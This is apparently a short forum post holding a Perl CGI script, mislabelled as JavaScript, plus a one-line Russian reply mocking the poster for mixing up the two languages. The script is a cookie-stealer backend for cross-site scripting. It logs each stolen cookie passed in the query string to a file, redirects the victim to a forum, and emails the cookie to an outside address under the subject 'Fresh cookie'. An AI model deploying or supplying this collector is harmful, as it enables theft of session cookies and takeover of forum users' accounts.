javascript
use CGI qw(:standard);
$cookie=$ENV{QUERY_STRING};
$file="cook.txt";
open (FILE, ">>$file");
print FILE "$cookie\n\n";
close(file);
$query = CGI::new();
print $query->redirect('http://secforum.net/forum/index.php');
$mailprog = '/usr/sbin/sendmail';
$mail='vasy@mail.ru';
$target='admin@secforum.net';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Fresh cookie\n";
print MAIL "To: $mail\n";
print MAIL "From: '.$target.'\n\n";
print MAIL "$cookie";
close (MAIL);
Ну "хохи". Для начало советую всё же понять, что JavaScript != Perl и иже с ним.